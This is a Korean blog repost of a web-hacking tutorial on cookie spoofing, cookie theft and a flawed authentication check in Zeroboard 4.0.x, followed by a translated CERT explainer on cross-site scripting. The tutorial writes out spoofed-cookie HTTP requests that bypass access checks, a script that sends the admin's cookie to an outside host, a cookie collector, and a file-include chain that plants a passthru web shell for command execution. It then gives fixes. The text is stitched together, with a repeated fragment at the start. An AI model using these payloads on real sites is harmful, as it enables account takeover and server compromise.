admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
로 체크를 하기 때문에 피할 수 없게 된다.
여기서는 간단하게 소스를 만들어보겠다.
$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));
하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.
그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
수고를 하게 할 수 있다.
잘못된 알고리즘
여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
다음과 같이 하자.
$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
exit;
}
Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.
출처 : http://ttongfly.net/zbxe/?document_srl=42664&mid=webhack&listStyle=&cpage=
이번 장에서 다룰 주제는 Web 에서 많이 쓰이는 Cookie 에 관한 내용이다.
Cookie 란 무엇인가? Web Language 에서 Cookie 는 여러가지에 유용하게 쓰인다.
Cookie 는 Client Computer 에 저장되는 것인데, CGI Program 에서는 이 Cookie 를
이용하여 좀 더 편리하고 간편한 CGI 를 짤 수도 있다. 예를 들어 Web Board 에서
각 Page 마다 인증이 필요한 경우도 있다. 뭐 admin 만 Access 할 수 있다던지
하는 Page 일 경우에 말이다. 이럴 경우 매 Page 의 Head 부분에 Client Computer
에서 Cookie 를 받아와 Access 하려는 사용자가 권한이 되는지 안되는지 알 수
있게끔 Cookie 가 사용될 수도 있다.
여기에서는 한때 Issue 가 됐던 Cookie Sniffing 과 더불어 Cookie Spoofing,
Cookie 사용시 잘못된 알고리즘 등을 알아볼 것이다. 실제로 존재하는 CGI Program
인 Zeroboard 4.0.x 버전을 이용하겠다. 이 버그는 필자가 발견한 버그로, 요즘의
버전에는 Patch 가 되었다.
zeroboard 는 PHP 로 만들어져 있으며 DATABASE 는 MySQL 을 사용하고 있다.
문제가 되는 부분은 zeroboard 에서 cookie 인증을 할때 잘못된 알고리즘을 사용
하기 때문이다.
문제가 되는 주요 소스는 zeroboard 에서 lib.php 이다.
1 function member_info()
2 {
3 global $HTTP_COOKIE_VARS, $member_table, $now_table;
4 $cookie_userid=$HTTP_COOKIE_VARS[zetyxboard_userid];
5 $cookie_password=$HTTP_COOKIE_VARS[zetyxboard_password];
6
7 // 우선 쿠키가 존재할때;;
8 if($cookie_userid&&$cookie_password)
9 {
10 // 접속 테이블에도 있는지를 검사;;
11 $check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
12 user_id='$cookie_userid'"));
13 // 접속테이블에도있으면 값을 갖고 옴;;
14 if($check[0])
15 {
16 //다시 쿠키를 구움;;
17 setcookie("zetyxboard_userid",$cookie_userid,0,"/");
18 setcookie("zetyxboard_password",$cookie_password,0,"/");
19 mysql_query("update $now_table set logtime='".time()."' where
20 user_id='$cookie_userid'");
21 $member=mysql_fetch_array(mysql_query("select * from $member_table where
22 user_id='$cookie_userid' and password='$cookie_password'"));
23 }
24 else
25 {
26 setcookie("zetyxboard_userid","",0,"/");
27 setcookie("zetyxboard_password","",0,"/");
28 $member[level]=10;
29 }
30 }
31 else $member[level]=10;
32 return $member;
33 }
이 함수는 zeroboard lib.php 의 원본 소스중 이다. zeroboard 는 게시판에
가입한 멤버를 LEVEL 별로 설정할수 있는 등 커뮤니티 기능도 있다. 회원이
게시판을 이용할때 멤버에 대한 데이터를 가져오는 함수가 바로 이 member_info
함수이다.
첫번째 라인은 member_info 의 함수 정의이다. 3 번째 라인은 HTTP_COOKIE_VARS,
member_table, now_table 을 전역 변수로 설정해놓았고 4 번째 라인에서 cookie_userid
를 HTTP_COOKIE_VARS 의 zetyxboard_userid 로 설정하였다. 마찬가지로 5 번째
라인에서는 cookie_password 를 HTTP_COOKIE_VARS 의 zetyxboard_password 로
설정하였다.
HTTP_COOKIE_VARS 는 client (즉 사용자) 에서 전달해주는 cookie 값을 담아놓는
변수이다.
zetyxboard_userid 나 zetyxboard_password 같은 cookie 설정은 사용자가 login
페이지를 통해서 login 을 할때 설정이 된다.
cookie 설정 역시 lib.php 파일에서 check_login 함수에서 이루어진다.
1 /////////////////////////////////////////////////////////////////////////
2 // 로그인 시키는 부분
3 /////////////////////////////////////////////////////////////////////////
4 function check_login($user_id,$password)
5 {
6 global $connect, $member_table, $now_table, $id;
7 $check=mysql_fetch_array(mysql_query("select * from $member_table where
8 user_id='$user_id' and password=password('$password')"));
9 if($check[no])
10 {
11 $password=mysql_fetch_array(mysql_query("select password('$password')"));
12 setcookie("zetyxboard_userid",$user_id,0,"/");
13 setcookie("zetyxboard_password",$password[0],0,"/");
14
15 $temp=mysql_fetch_array(mysql_query("select count(*) from $now_table
16 where user_id='$user_id'"));
17 if($temp[0]) mysql_query("update $now_table set logtime='".time()."'
18 where user_id='$user_id'");
19 else mysql_query("insert into $now_table (user_id,group_no,logtime)
20 values ('$user_id','$check[group_no]','".time()."')");
21
22 return 1;
23 }
24 else Error("로그인을 실패하였습니다.");
25 }
7 번째 라인은 사용자가 전달한 id 와, password 값으로 member_table 에 실제로
존재하는 사용자인지 확인한다. 만약 올바른 사용자라면 check_login 함수는
client 에게 (보통 웹브라우저를 말합니다.) setcookie 함수를 이용하여 cookie를
설정하여 준다. zetyxboard_userid 와 zetyxboard_password 가 cookie 이다.
그리고 15 번째 줄부터 게시판에 현재 접속된 사용자의 ID 를 담아놓는 now_table
에 ID 를 update 를 하거나 추가를 한다. (만약 사용자가 정해진 시간동안 아무
런 페이지도 읽지 않거나, logout 을 하면 now_table 에서 사용자의 ID 가 삭제
됩니다. 그렇게 되면 login 이 안된 상태가 된다.)
다시 취약점의 근원이 되는 member_info 함수로 돌아가보자. member_info 함수는
이 사용자가 정당한 사용자인지 검사를 하는 기능도 있다. 첫번째로 사용자가
zetyxboard_userid 와 zetyxboard_password 쿠키가 있는지 확인한다. 이 확인은
8 번째 줄에서 한다. 그리고 또 한번의 확인으로 zeroboard 에서 사용하는 now_
table 에도 zetyxboard_userid 값이 담겨있는지 확인한다. 만약에 접속테이블에
도 사용자의 ID 가 있다면 이 사용자는 올바른 사용자이다.
하지만 여기에서 문제가 발생한다. 첫번째 확인에서 zetyxboard_userid 와 zetyx
board_password 쿠키는 사용자가 임의로 만들어서 보낼 수 있고, 두번째는 접속 테
이블에도 있는지 검사를 할때 zetyxboard_userid 만 갖고 체크를 하기 때문에
zetyxboard_password 가 정확하지 않더라도 상관이 없다. 그래서 해커가
zetyxboard_userid 와 zetyxboard_password 쿠키를 임의로 만들고, 현재 접속이 되어
있는 사용자의 ID 로 zetyxboard_userid 를 설정한다면 member_info 함수에서 해커는
올바른 사용자가 될 수 있다.
여기까지의 방법으로 우리는 접근할 수 없는 게시판과, 게시물을 읽을수가 있다.
(접근할 수 없는 경우는 사용자의 레벨과 접근하려는 게시판의 허용 레벨이
안 맞기 때문이다.) 왜냐하면 member_info 함수에서 21~22 번 줄을 보자.
member_table 에서 zetyxboard_userid 와 zetyxboard_password 가 담긴 데이터를
찾고 그 결과를 member 변수에 담는다. 만약 올바른 사용자라면 member 변수에는
사용자의 LEVEL 이나 이름, ID, PASSWORD 가 담길것이다. 하지만 해커에게는
LEVEL, ID, 이름, PASSWORD 같은 것이 아닌 빈 값이 담기게 된다. 이유는 member
_table 에는 zetyxboard_userid 와 같은 데이터는 있어도 zetyxboard_password 도
같은 데이터는 없기 때문이다.
member 에 빈값이 담기기 때문에 해커는 PHP 에서 해당 LEVEL 이 되는지 안되는지
검사를 하는 부분을 통과할 수 있다. 그 부분을 살펴보도록 하자.
먼저 zboard.php 에서 특정 id 의 게시판에 접근할때 사용권한을 어떻게 체크
하는지 보면
zboard.php
1 if($setup[grant_list]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
이렇다. 조건식을 살펴보자. $setup[grant_list] 는 각 게시판에 설정
된 접근 허용 LEVEL 과 비슷한 것이다. 만약 $member[level] 이 $setup[grant_
list] 값보다 크다면 접근이 허용되지 않으므로 2~4 번째의 ERROR 메세지가 뜨게
된다.
(zeroboard 에서는 LEVEL 이 낮을수록 실제로는 높은 걸로 인식한다. 두번째
조건식인 !$is_admin 는 만약 로그인한 사용자가 admin 이면 통과한다는 것을
의미한다.)
앞에서 말했듯이 해커는 member 에 빈값이 담기게 된다. 빈값은 0 과 같다.
그러면 조건식은 이렇게 될 것이다.
if($setup[grant_list]<0&&!$is_admin)
어떤 레벨이라도 0 보다 낮을수는 없을 것이다. 이와 같은 방법으로 해커는 사용권한을
체크하는 PHP 알고리즘을 통과하고 허용하지 않는 게시물이나 게시판에 접근을
할 수 있게 된다.
만약에 secret 라는 id 의 게시판이 있다고 하고, 실제로 어떻게 사용권한 체크를
통과하고 게시판을 읽을 수 있는지 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/zboard.php?id=secret HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
secret 게시판
15 번 승진님 안녕하세요................ 방문객 2005/06/26
14 번 여기 좋군요.... 나그네 2004/06/26
13 번 여기 뭐 이래요?? 지나가는이 2003/06/26
12 번 저는 말이에요.. 해커지망생 2002/06/26
..........
..........
1 번 라인은 targetip 의 웹서버인 80 번 포트로 접속을 하는 것이다. 2 번 라인
은 zboard.php 의 인수로 id=secret 를 주어서 secret 라는 게시판을 읽어들이겠다
고 알린것이고 3 번 라인은 Cookie 값을 첨부한 것이다. 여기서 zetyxboard_
password 는 아무 값이나 넣어줘도 된다.
이와 비슷한 방법으로 한 가지 더 경우를 보자. 게시물의 목록이 아닌 직접
게시물을 읽는 방법이다. view.php 에서의 사용 권한 체크 루틴을 보자.
view.php
1 if($setup[grant_view]<$member[level]&&!$is_admin)
2 Error("사용권한이 없습니다","login.php?id=$id&page=$page&
3 page_num=$page_num&category=$category&sn=$sn&ss=$ss&sc=$sc&
4 keyword=$keyword&no=$no&file=zboard.php");
view.php 의 인자로 id 와 no 가 들어가는데 id 는 해당 게시판의 id 를 뜻하고
no 는 해당 게시판의 글 번호를 뜻한다.
위에서도 역시 마찬가지로 member 는 빈값, 즉 0 이니 조건식을 이상 없이
통과할 수 있을 것다.
그럼 실제로 어떻게 사용권한 체크를 통과하고 게시물을 읽을 수 있는지 알아
보자. 여기서 id 는 secret 이고 글번호는 444 라고 하자.
1 telnet targetip 80
2 get http://targetip/zboard/view.php?id=secret&no=444 HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=임의의암호
결과 :
444 번 글
이름 : 이승진
제목 : 전 이승진이랑께롱~
본문 : 케케케~.. 음.. 할말이 없군..
2 번 라인은 view.php 스크립트에 secret 를 id 로 줬고 글 번호 444 를 요청하였
다. 그리고 3 번 라인에서 Cookie 값을 첨부하였다.
주의할 점은 zetyxboard_password 의 값은 임의로 넣어줘도 되지만 비어있어서는
안된다.
게시판을 읽거나 게시물을 읽는 방법 말고도 다른 여러 가지 방법이 있는데 여기서
한 가지 방법을 더 알아보겠다. trace.php 라는 스크립트는 파일명 그대로
서버에 설치된 zeroboard 와 관련된 것들을 추적해 주는 스크립트이다. 이 스크
립트 역시 사용 권한을 체크하여 admin 만이 사용할 수 있게 해놓았지만 member에
빈 값이 들어가는 것을 이용하여 통과할 수 있다.
가령 beist 라는 사람이 글 쓴 것들에 대해서 보고 싶다는 주어진 검색식으로
추적을 시작하면 beist 의 IP 와 어떤 게시판에다 글을 썼는지 그런 정보들이
나오게 된다.
trace.php 에서는 어떤 식으로 사용 권한 체크를 하는지 알아보자.
trace.php 소스 설명 공격 설명
1 $member=member_info();
2 if($member[is_admin]>1||$member[level]>1)
3 Error("최고 관리자만이 사용할수 있습니다");
1 번 라인에서는 member_info 를 불러오고 그 리턴값을 $member 에 저장한다.
2 번 라인의 조건식은 만약 admin 이 아니라면 3 번 라인에서 Error 를 출력하도록
한다.
trace.php 의 실제 이용방법을 알아보자.
1 telnet targetip 80
2 get http://targetip/zboard/admin/trace.php?keykind[0]=name&keyword=이승진
HTTP/1.0
3 Cookie: zetyxboard_userid=test; zetyxboard_password=아무거나;
결과 :
test1 게시판
[kekek] test (2001-12-05 21:40:04 / beist-ip)
[kekek] tet (2001-12-05 21:42:25 / beist-ip)
[kekek] asdf (2001-12-05 21:44:40 / beist-ip)
[kekek] asdf (2001-12-05 21:46:23 / beist-ip)
[kekek] vvvvv (2001-12-05 21:47:00 / beist-ip)
2 번라인에서는 keykind[0]=name 을 주어서 keyword 검색을 이름으로 하겠다고
전하고 이름에 이승진을 넣은 것이다.
keykind 의 종류는 다음과 같다.
keykind[0]=name
keykind[1]=email
keykind[2]=ip
keykind[3]=subject
keykind[4]=memo
위와 같은 keykind 로 검색할수 있고, keyword 에는 검색할 내용만 적으면 된다.
예를 들어 keykind[1]=email 로 지정해두었다면 keyword 에 beist@hanmail.net
이라고 적으면 된다.
하지만 이 방법으로는 게시판을 보거나 게시물을 추적할 수 있지만 명령어를 실행
하지는 못한다. 웹에서 해커의 궁극적인 목표는 명령어 실행이지 않은가?
이제부터 명령어 실행의 버그들에 대해서 알아보겠다. zeroboard 에서는 admin
메뉴에서 header 와 footer 에 (게시판의 머리말과 꼬리말 정도이다.) admin 이
원하는 특정 파일을 지정을 할 수가 있다. 보통은 인사말이나 특정 페이지를
같이 넣고 싶을때 header 와 footer 를 사용하지만 cracker 는 이 것을 이용하여서
명령어 실행을 할 수 있다. (header 와 footer 의 파일은 zboard.php 에서
include 합니다. 즉 zboard.php 파일이 웹에서 읽어질때 head 와 foot 에 include
한 파일을 뿌려주는 것이다.)
먼저 제로보드의 특정 자료실에 악의적인 파일을 하나 올린다.
<?
system("echo -n " <? passthru($" > imnotj.php");
system("echo -n "cmd); ?>" >> imnotj.php");
echo "<font size=5>keke";
?>
<? passthru($cmd); ?>
이 소스의 기능은 imnotj.php 라는 악의적인 스크립트를 하나 생성한다. imnotj.
php 에 담기는 내용은 <? passthru($cmd); ?> 가 될 것이다. imnotj.php 의
기능은 서버에서 해커가 원하는 특정 명령어를 실행할 수 있게끔 된 소스이다.
자료를 올릴 때 제로보드의 필터링에 걸리면 안될것이다? 제로보드는 php, html, php3
같은 확장자의 파일을 못 올리게 필터링을 한다. 그래서 위의 코드가 담긴 확장자를
txt 로 저장하고 서버에 올리자. (txt 를 필터링하는 자료실은 아무데도 없을것이다)
굳이 txt 확장자가 아닌 zip 이나 jpg 같은 확장자도 상관은 없다.
만약 test.txt 라는 파일을 올렸다면 서버 상에서 /webdirectory/zboard/data/test.
txt 라는 곳에 위치할 것이다. (webdirectory 는 가상으로 만들어 낸 것이며 실제
로는 /home/beist/public_html 정도가 나올 것이다.)
그리고 admin 메뉴에서 header (혹은 footer) 에 /webdirectory/zboard/data/test.
txt 라고 지정을 하면 zboard.php 에서는 test.txt 를 include 할 것이다. 위와
같은 코드를 include 하였으니 웹에서 zboard.php 파일을 열때 imnotj.php 라는
파일이 생성될 것이다.
그렇다면 admin 메뉴에는 어떻게 들어갈 것인가? admin 메뉴는 말 그대로 admin 만
들어갈 수 있다. admin 암호가 없으면 못들어간다는 이야기이다. 그래서 우리는
admin 암호를 알아내야 한다. 쿠키 스니핑을 이용해야겠다. 하지만 zero
board 에서는 password 를 암호화해서 저장하기 때문에 쿠키 스니핑으로 암호를
빼온다고 해도 login 페이지에서 암호를 입력할 수가 없다. (암호화된 문자열을
crack 하여서 원래의 암호 문자열을 얻을 수도 있겠지만 그 방법은 너무 오래걸리고
가능성도 희박한 방법이다. 암호가 쉽지 않은한)
그래서 우리는 쿠키스니핑으로 암호를 빼오고, login 페이지에 암호를 넣는 것이
아니라 실제 admin 페이지에 직접적으로 Cookie 값을 전달해야 한다.
어떤 식으로 admin 의 password 를 빼올 수 있는 지 살펴보자.
자바 스크립트를 써서 쿠키를 빼올 것이다. 자바 스크립트를 게시판이나 쪽지에
쓰면 되는데 여기에선 쪽지를 이용하는 방법을 사용하겠다. zeroboard 의 쪽지
기능을 이용하여 admin 에게 쪽지를 보낸다. html 사용에 check 를 하고..
javascript 로 쿠키를 빼오는 스크립트
-----------------------------------------------------------------------------
1 <script language=javascript>
2 window.open("http://beist.org/test.php?cook="+document.cookie);
3 </script>
4 HELLO ADMIN!
-----------------------------------------------------------------------------
1 번째 라인은 javascript 를 사용할 것이라고 선언을 하는 것이고 2 번째 라인은
http://beist.org/test.php 의 스크립트를 웹브라우저의 document.cookie 를 인수로
여는 것이다. 보통 CGI 는 다음과 같은 방식으로 인수를 전달한다.
sample CGI script
echo.php
<? echo "hello $insu"; ?>
위의 echo.php 는 $insu 라는 변수를 출력해주는 스크립트이다. 웹브라우저에서
http://beist.org/echo.php?insu=beist 이런 식으로 페이지를 요청하면 echo.php
에서는
hello beist
라는 문자열을 되돌려준다.
쿠키를 빼오는 스크립트인 test.php 의 인수의 이름으로 cook 을 주었고 그 값에는
현재 웹브라우저의 cookie 값이 담겨 있는 document.cookie 를 지정하여 주었다.
zeroboard 에서 admin 에게 담기는 cookie 는 다음과 같은 값이다.
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
(zetyxboard_password 의 값은 임의로 설정한 값이다.)
이제 test.php 에서는 넘어온 인수를 처리해야 한다. 예를 들어 넘어온 쿠키값을
서버에 저장하는 방법등을 사용해야 한다.
test.php
<?
$fp=fopen("/tmp/zerohack", "a++");
fputs(" 제로보드 쿠키값 $cookn");
?>
간단한 스크립트이다. test.php 는 /tmp/zerohack.txt 을 열어서 넘어온 인수값인
$cook 을 집어넣는다.
넘어온 쿠키값이 만약
zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
라고 하면 /tmp/zerohack.txt 에는
제로보드 쿠키값 zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
이 담기게 될것이다.
이제 넘어온 쿠키값을 이용하여 admin 페이지에 직접 Cookie 를 보내 접속을 하는
방법을 알아보자.
여기서는 telnet 을 이용하겠다. telnet 으로 상대방의 웹서버에 접속을 한다.
(보통 웹서버는 80 번 포트를 쓴다.)
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
어쩌고.. 저쩌고..
.................
.................
(위에서 1, 4, 5 번 라인은 직접 입력해야 하는 부분이다.)
설명을 하자면 1 번 라인은 targetip 의 80 번 포트로 연결을 시도하겠다는
의미이고 4 번 라인은 target 의 /zboard/admin_setup.php 라는 파일을 열겠다는
의미다. 그리고 5 번 라인은 zetyxboard_userid 와 zetyxboard_password 를
쿠키로 보내겠다는 의미다.
그러면 admin_setup.php 에서는 admin 인증을 할 것이다. 만약 password 가 맞다면
해커는 무사히 통과를 하고 admin_setup.php 를 볼 수 있을 것이다.
위에서 설명한 header 나 footer 에 test.txt 라는 파일을 지정하려면 어떻게
해야하는지 알아보자.
1 telnet targetip 80
2 Trying targetip ...
3 Connected to targetip.
4 get http://targetip/zboard/admin_setup.php?no=3&exec=view_board&
exec2=modify_ok&page=1&group_no=1&name=haha&skinname=zero_cyan&
only_board=1&header_url=/var/www/html/zboard/data/test.txt&use_html=1&
memo_num=20&cut_length=0&bg_color=white&table_width=95&page_num=10&
header=<div%20align=center>&footer=</div> HTTP/1.0
5 Cookie: zetyxboard_userid=admin; zetyxboard_password=92n4bfbf901mvjfm;
4 번 라인만 설명하겠다. admin_setup.php 의 인수로 여러개가 들어갔다.
주요 인수를 말하자면 exec2 와 no, 그리고 header_url 이다. no 는 게시판의
번호를 뜻한다. (게시판이 여러개 있을때 각각의 고유번호가 있다.)
exec2 는 admin_setup.php 페이지를 어떤 mode 로 열 것인지 선택하는 것이다.
여기서는 modify_ok mode 로 열었다. 가장 중요한 header_url 은 header
file 로 어떤 것을 지정할 것인지 선택하는 부분이다. 여기서 지정한 header
file 은 /var/www/html/zboard/data/test.txt 이다. 이제 include 하였으니
zboard.php 를 열때 test.txt 스크립트가 작동이 되면서 imnotj.php 라는
파일이 생성이 될 것이다.
이제 해커는 imnotj.php 파일을 통해서 서버에 특정 명령을 실행시킬 수 있다.
ex)
http://targetip/zboard/data/imnotj.php?cmd=whoami
결과 = nobody
이상이 zeroboard 에서 쿠키 스니핑, 쿠키 스푸핑, 잘못된 알고리즘을 이용한
공격 방법이다.
해결책을 알아보자.
쿠키 스니핑
먼저 Cookie Sniffing 에 대한 대책을 알아보자. Cookie Sniffing 은 Cracker
가 TAG 를 쓸수 있는 환경하에서 이루어진다. Cookie 는 Web Browser 에 담기게
되는데 Cookie 를 감출 수도 없는 노릇이고 Cookie 사용을 불가피하게 해야하는
경우의 대처법은 사용자가 TAG를 쓸 수 없도록 해야한다.
거의 모든 TAG 의 시작은 < 로부터 시작한다. 그래서 <를 없애거나 < 문자로
치환시키는 방법이 좋다.
eregi_replace("<", "<", $comment);
이런 식으로 $comment 의 내용중에 < 가 존재한다면 < 로 바꾸게 끔 만들어
주었다.
쿠키 스푸핑
Cookie Spoofing 에 대한 대책을 알아보자. Cracker 가 Admin 의 Cookie를 가져와서
Cookie Spoofing을 이용해 Admin Menu 에 접근하게 된다. 첫 번째로 Cookie를
도둑맞지 않기 위해 Cookie Sniffing을 막는 것이 중요하지만 Cookie를 도둑맞았을때의
경우도 대비해야 할 것이다.
필자는 이에 대한 대비로 Cookie 만을 쓰는 것이 아니라 Cookie + Session 의 조합을
사용하길 바란다. 하지만 Cookie 만을 쓰려고 할때의 필자가 생각하는 대응책을 설명
하겠다.
위의 Zeroboard 의 경우에서 보면 현재 접속되어 있는지 확인하는 부분이 있다.
now_table 에 해당하는 ID 가 있으면 통과하는 것이고 없으면 통과를 못하는 것인데
table 의 구조를 약간 변형하여 IP 도 담는 것이다.
예를 들어 $userip 라는 변수를 선언하고 이 변수는 사용자로부터 입력을 받지
않고 PHP 환경변수인 $REMOTE_ADDR을 이용하는 것이다. 이렇게 하면 cracker 가
admin_setup.php?userip=속일IP 이런식으로 접근을 해와도 서버에서는 $REMOTE_ADDR
로 체크를 하기 때문에 피할 수 없게 된다.
여기서는 간단하게 소스를 만들어보겠다.
$userip=$REMOTE_ADDR;
$check=mysql_fetch_array(mysql_query("select count(*) from $now_table where
user_id='$cookie_userid' and userip='$userip'"));
하지만 이 방법에도 약간의 취약성은 존재한다. Admin 이 NAT 같은 환경하에서
접근하였을때 그 안에 있는 computer 들도 외부로 나갈땐 같은 IP 이기 때문에 Cracker
가 NAT 내부에 접근하였을 경우에 위의 인증을 회피할수도 있을 것이다.
그렇지만 위의 방법으로 체크를 한다면 Cracker 가 Hacking 하는데 훨씬 더 어려움과
수고를 하게 할 수 있다.
잘못된 알고리즘
여기서 말하는 잘못된 알고리즘은 lib.php에서 member_info 함수이다. $member 로
return 할때 없는 값일 경우 0 이 되어 trace.php 같은 file을 실행 할 수 있는 것인데
이에 대한 해결법으로는 now_table에서 해결하는 방법이 더 좋지만 간단하게 하려면
다음과 같이 하자.
$member=mysql_fetch_array(mysql_query("select * from $member_table where
user_id='$cookie_userid' and password='$cookie_password'"));
if(!$member)
{
echo "죄송합니다. 당신의 Cookie 에 맞는 Data 가 없군요.“;
exit;
}
Web CGI 든 일반 어플리케이션 프로그램이든 마찬가지이지만 잘못된 알고리즘
하나로 인해 Server 에 치명적인 Security Hole을 만들 수 있다는 것을 기억하자.
출처 : http://ttongfly.net/zbxe/?document_srl=42664&mid=webhack&listStyle=&cpage=
81.웹취약점&해결방안2009. 10. 21. 11:38
반응형
**************************************************************************************************
제목 : Cross-Site Scripting Vulnerabilities
원문 : http://www.cert.org/archive/pdf/cross_site_scripting.pdf
저자 : Jason Rafail, CERT® Coordination Center
번역 : 매맞는아이 (sn1995ar at hotmail.com - 잘못된 곳 있으면 댓글 바람)
*****************************************************************************************************/
당신은 언젠가 web site의 주소를 잘못 쳐서 “Error - page name could not be found” ,
“The page you requested: page name does not exist” 같은 메세지를 본 적이 있을 것이다.
그리고 거기서 단 1초도 머뭇거리지 않고 다른 곳으로 갈 것이다.
(당신이 주소를 정확히 쳤거나 다른 사이트로 갔더라도 말이다.)
그런일은 종종 일어난다. 죽은 link도 많고.. 잘못 연결된 link도 많기 때문이다.
하지만, 당신이 위의 두 가지 경우처럼 에러메시지를 보게 된다면..
당신은 보안 취약점을 목격하는 것이다.
당신이 다음의 유효한 URL로 접속했다고 치자 :
http://www.example.com/FILENAME.html
만약 "FILENAME.html"이 존재하지 않는다면, web site는 다음과 같은 에러 메시지를 보여 줄 것이다.
<HTML> 404 page does not exist: FILENAME.html
....
</HTML>
"FILENAME.html"은 당신이 입력한 것이라는 걸 주목해라.
web site는 당신의 브라우져를 통해 돌려주는 page안에 그것을 포함하고 있다.
이것은 해롭지 않을지 모른다. 하지만 인기있는 경매 사이트를 둘러보고 있다고 생각하자.
('auction.example.com'이라고 하자.)
당신은 누군가 만들어 논 경매를 리스트를 보고 있다. 그리고 똑같은 사람이 팔고 있는 아이템을 좀 더 보고 싶다고 치자.
(그 사람을 "bad guy"라고 가정하자. 그리고 그를 "BG12345"라고 부르자.)
당신은 다른 site의 "BG12345"의 web site link를 클릭할 것이다. 그리고 그가 경매하는 목록을 둘러보고 있다.
그리곤 맘에 드는 page의 link를 클릭 할 것이다. 그럼 'auction.example.com'에서는 그 아이템을 보여 줄 것이다.
조금 더 밑에는 이름과 비밀번호를 입력하는 창이 있다.
당신은 모든 정보를 입력하고 "수락" 버튼을 누를 것이다.
모든 것이 잘 된 것처럼 보인다. 하지만 실제로 당신이 써 넣은 그 정보는 "BG12345"에게 전달된다.
어떻게 이런 일이 벌어질 수 있을까?
그 이유는 'auction.example.com'에 "cross-site scripting(CSS)" 라 불리는 취약점이 있기 때문이다.
CSS 취약점은 유효한 사용자의 입력이 client의 web-browser에 돌려주기 전의 site의 fauilure가 원인이 된다.
CSS는 합밥적인 web server에서 침입자 악의 있는 script나 HTML을 공격할 browser로 page를 보내는 것이다.
악의있는 script는 합법적인 web server에서 합법적인 script의 취급을 받으며 실행된다.
위에서 본 두 가지 에러 메세지는 그런 상황의 예가 된다.
만약 page name을 입력하는 대신 HTML이나 script tag를 입력하게 된다면..
server는 그 명령을 당신의 bowser에 보여 줄 것이다.
당신의 brower는 'auction.example.com'의 HTML이나 script tag를 사실이라 생각할 것이다.
그리고 script를 실행 할 것이다. 모든 것이 정상으로 보일 것이다.
"BG12345" 역시 당신을 속이기 위해 똑같은 방법을 사용했다.
"BG12345"의 경매 site link를 클릭했다면 그 link는 공격자가 꾸민 page로 간다.
그 link가 경매 site를 정확히 흉내냈다면 아래의 예와 같이 보일 것이다.
하지만 "수락" 버튼을 눌렀다면 당신이 입력한 정보들이 "BG12345"로 가게 된다.
그럼 "BG12345"는 당신의 계정에 접속이 가능하고 정보도 바꿀 수 있다.
최악의 상황에는 신용카드 정보도 볼 수 있다.
과연 "BG12345"는 어떻게 했단 말인가?
"BG12345"의 web site는 밑에와 같은 'auction.example.com'의 link를 제공한다.
<A HREF="http://auction.example.com/<script>alert('hello')</script>">Click Here</a>
"FILENAME.html"은 'auction.example.com'에서 다음과 같이 인식된다.
<script>alert('hello')</script>
그럼 'auction.example.com'은 일반적인 routine으로 생각하고 다음과 같은 error page를 보내준다.
<HTML> 404 page not found: <script>alert('hello')</script>
....
</HTML>
결과적으로 "BG12345"는 'auction.example.com'에서 보내주는 page에 JabaScript 프로그램을 "주입'했다.
JabaScript는 'auction.example.com'에 의해 실행된다. 그리고 event를 발생할 것이다.
그리도 "BG12345"가 link에 넣은 script의 효력때문에 "BG12345"와의 소통도 계속된다.
(이것이 CSS 취약점이 web page를 통해 공격되어질 수 있는 이유이다.)
비슷한 문제들이 많이 있다. 'bank.example.com'도 똑같다.
그럼 어떻게 해야 될까?
* 가장 좋은 방법은 필요없는 scripting은 불가능하게 하는 것이다.
하지만 그것은 악의 있는 HTML의 실행을 막지는 못한다.
신뢰하지 못하는 site나 알려지지 않은 sourc의 link로 부터 접속하는 것보다는
직접 다이렉트로 접속하는 것이 좋다.
예를 들어..
이메일로 온 당신의 은행 site의 link를 신뢰하는 것은 좋지 않다.
은행 site를 이용하려면 직접 site에 접속해라.
그리고 개인 정보를 원한다면 항상 조심해라..
* webmaster 또한 도울 수 있다.
그들은 사용자의 입력이 page로 요청되지 않도록 할 수 있다.
그리고 사용자에게 scripting이 되지 않게 할 수 있다.
* 다른 방법은 신뢰하지 못하는 script들이 자동으로 실행하지 못하도록 “signed scripting”을 사용하는 것이다.
하지만 이런 방법은 Internet 표준의 변화를 요구한다.
그런 변화는 "World Wide Web Consortium (www.w3c.org)"이나..
"Internet Engineering Task Force (www.ietf.org)"에서 고려될 사항이다.
* 만약 CSS가 가능한 곳을 보게 된다면 site 관리자나 CERT에 알려주기 바란다.
유감스럽게도 문제는 종종 자주 사용하는 곳에서 발생한다.
scripting을 가능하게 한 상태에서 인터넷을 돌아다닌다면 개인정보를 거의 보호하기 힘들다.
